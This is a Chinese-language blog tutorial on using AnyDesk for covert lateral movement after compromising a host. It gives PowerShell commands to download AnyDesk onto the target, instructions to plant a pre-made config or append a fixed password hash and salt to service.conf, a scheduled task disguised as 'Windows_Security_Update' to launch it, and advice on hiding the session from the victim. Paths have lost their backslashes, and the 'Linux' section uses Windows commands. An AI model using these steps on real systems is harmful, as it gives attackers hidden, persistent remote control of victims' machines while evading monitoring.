内网渗透横向移动之使用AnyDesk远程控制

2021-11-23 10:10:18 浏览数 (1)

**欢迎关注我的微信公众号《壳中之魂》**

Anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小

使用场景

  • 有云锁,护卫神等禁止3389登录时
  • 类似阿里云这种,登录3389会报警
  • 目标机器必须可以出网

注意事项

  • 启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
  • 启动anydesk时桌面不能被注销
  • 有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动anydesk,否则没法使用屏幕

攻击

Windows

假使我们在windows上拿到目标的shell,为了方便模拟就上线了一个cs的shell

使用一些提权的powershell脚本,脚本弹出了一个新的cmd窗口,但是数据不通过cs,只能通过远程桌面操作,但是不能直接RDP

然后我们可以通过命令让目标下载anydesk

代码语言:javascript复制
powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:anydesk.exe") 

其实最好不要保存在c盘下,因为域用户没有足够的权限,所以最好是找到域用户有写权限的文件夹

可以看到我们已经将文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面)

但是不着急执行,原因是我们不知道目标的凭证,自然无法连接

打开自己本机的anydesk,会弹出一个窗口

可以发现,anydesk连接的方式并非是局域网,而是通过互联网,一断网就无法使用

所以我们必须知道目标的ID号才可以连接,所以我们可以在本地生成anydesk的用户配置文件,然后再上传到目标主机,这样不仅知道了目标anydesk的id号,而且使用的还是本地设置的密码

首先我们要记住自己的ID号

  • 819784857

然后设置访问密码

随便设置,自己知道就行了

应用后彻底退出anydesk,退出时不选择安装

生成的配置文件将会储存在

C:Users你的用户名AppDataRoamingAnyDesk

然后将四个文件保存下来,然后上传到目标的主机,上传完后把此处的配置文件全部删除,目的是让anydesk生成一个新的配置

由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹,然后将文件复制进去

拓展:

这几步不是必须,按需操作

连接前可以设置连接的用户名,如果不设置,就会用当前的用户名

有可能会暴露身份

然后通过cs远程执行anydesk,然后在攻击机远程连接

输入刚才设置的密码

成功连接

如果有管理员权限,可以开启“禁止用户输入”、“启用隐私模式”,否则对方就可以看得到攻击方的鼠标

Linux

假使我们只能通过linux拿到目标的shell,就无法像之前那样通过生成配置文件然后拷贝过去,所以我们就只能对配置文件进行修改

为了方便模拟我上线了一个msf的shell

首先我们要让目标下载anydesk,方法和之前一样

代码语言:javascript复制
powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:anydesk.exe") 

下载完后我们要让其启动,可以直接执行,如果无法直接执行,可以使用计划任务执行,如果要使用计划任务,首先要知道当前用户是谁

代码语言:javascript复制
powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name="explorer.exe"').GetOwner().user) -split 'n')[0] 

确认好用户后就可以创建计划任务

代码语言:javascript复制
schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:Userstestuser.G1TSDesktopanydesk.exe" /RU Administrator 

然后执行计划任务

代码语言:javascript复制
schtasks /run /tn Windows_Security_Update 

等过了几秒后,anydesk连接上服务器后再把进程杀死

代码语言:javascript复制
tasklist
taskkill /f /pid 2692 

然后再添加密码到配置文件中(密码为AnyDeskGetAccess)

代码语言:javascript复制
echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:Users用户目录AppDataRoamingAnyDeskservice.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:Users用户目录AppDataRoamingAnyDeskservice.conf

查看目标的ID

代码语言:javascript复制
type C:Users用户名AppDataRoamingAnyDesksystem.conf 

然后让目标机器运行Anydesk,在连接即可

0 人点赞